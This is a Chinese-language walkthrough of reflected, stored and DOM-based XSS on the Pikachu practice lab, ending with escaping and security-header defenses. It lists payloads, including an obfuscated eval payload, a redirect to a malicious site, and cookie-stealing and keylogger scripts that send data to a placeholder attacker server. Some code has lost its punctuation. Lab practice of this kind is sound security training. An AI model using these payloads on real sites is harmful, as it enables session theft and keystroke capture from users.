从零玩转Pikachu靶场XSS攻击实战通关指南第一次接触网络安全实战很多人会被各种术语和攻击手法绕晕。如果你已经搭建好了Pikachu靶场却不知如何下手这篇文章就是为你准备的实战手册。不同于枯燥的理论讲解我们将以闯关的方式带你一步步复现反射型、存储型和DOM型XSS攻击并附上可直接复用的Payload代码块。1. 环境准备与XSS基础认知在开始实战前确保你的Pikachu靶场已正确部署。这个基于PHP/MySQL的开源漏洞练习平台完美模拟了各类Web安全漏洞场景。XSS跨站脚本攻击作为OWASP Top 10常客其核心是通过注入恶意脚本到网页中当其他用户浏览时触发攻击。典型XSS攻击流程攻击者构造恶意输入网站未过滤直接存储或显示该输入受害者浏览器执行恶意脚本实验前建议使用Chrome无痕模式或Firefox隐私窗口避免真实Cookie信息泄露2. 反射型XSS实战演练反射型XSS是最基础的攻击形式恶意脚本不会持久化存储而是通过URL参数即时反射到页面中。在Pikachu靶场中我们找到反射型XSS(get)测试页面。2.1 基础弹窗测试尝试在输入框提交基础Payloadscriptalert(XSS)/script如果页面弹出警告框说明存在漏洞。但有些情况下输入框可能有长度限制这时可以直接修改URL参数xss_reflected_get.php?messagescriptalert(1)/scriptsubmitsubmit2.2 进阶利用技巧当基础脚本被过滤时可以尝试这些变体img srcx onerroralert(1) svg onloadalert(1) body onloadalert(1)事件触发对比表事件属性触发条件示例代码onerror资源加载失败时触发img srcx onerroralert(1)onmouseover鼠标悬停时触发div onmouseoveralert(1)onload元素加载完成时触发body onloadalert(1)3. 存储型XSS深度利用存储型XSS的危害更大因为恶意代码会持久化保存在服务器上影响所有访问页面的用户。在Pikachu的留言板功能中尝试以下操作3.1 持久化攻击测试提交这个Payload到留言板scriptalert(document.cookie)/script刷新页面后仍会弹窗说明攻击代码已被存储。3.2 实现页面劫持更危险的利用方式是强制跳转到恶意网站scriptwindow.location.hrefhttp://恶意网站.com/script三种跳转方法对比location.href记录浏览器历史可后退location.replace不记录历史无法后退location.assign与href类似但可通过脚本控制4. DOM型XSS花式玩法DOM型XSS不依赖服务器响应完全在客户端JavaScript处理数据时产生。Pikachu的DOM型XSS关卡需要更巧妙的构造方式。4.1 事件触发技巧尝试这些Payload观察效果 onclickalert(1)点击我 onmouseoveralert(1)悬停触发 javascript:alert(1)4.2 SVG矢量图形利用SVG标签因其XML特性常被忽视svg/onloadalert(1) svgscriptalert(1)/script/svg5. 实战Payload大全以下是经过验证可在Pikachu靶场使用的精华Payload按攻击场景分类基础弹窗系列scriptalert(1)/script img srcx onerroralert(1) iframe srcjavascript:alert(1)Cookie窃取方案scriptnew Image().srchttp://攻击者服务器/steal.php?cookiedocument.cookie/script键盘记录示范script document.onkeypress function(e) { new Image().srchttp://攻击者服务器/log.php?keye.key; } /script高级混淆技巧scripteval(String.fromCharCode(97,108,101,114,116,40,49,41))/script6. 防御措施与实战建议在成功复现各种XSS攻击后作为开发者更应了解如何防护前端过滤方案function escapeHtml(unsafe) { return unsafe .replace(//g, amp;) .replace(//g, lt;) .replace(//g, gt;) .replace(//g, quot;) .replace(//g, #039;); }HTTP安全头设置Content-Security-Policy: default-src self X-XSS-Protection: 1; modeblock X-Content-Type-Options: nosniff在Pikachu靶场练习时可以尝试先攻击再防御的完整闭环。比如实现一个留言板系统先注入XSS代码再逐步添加防护措施验证效果。这种攻防结合的实践方式能让你对XSS有更立体的认知。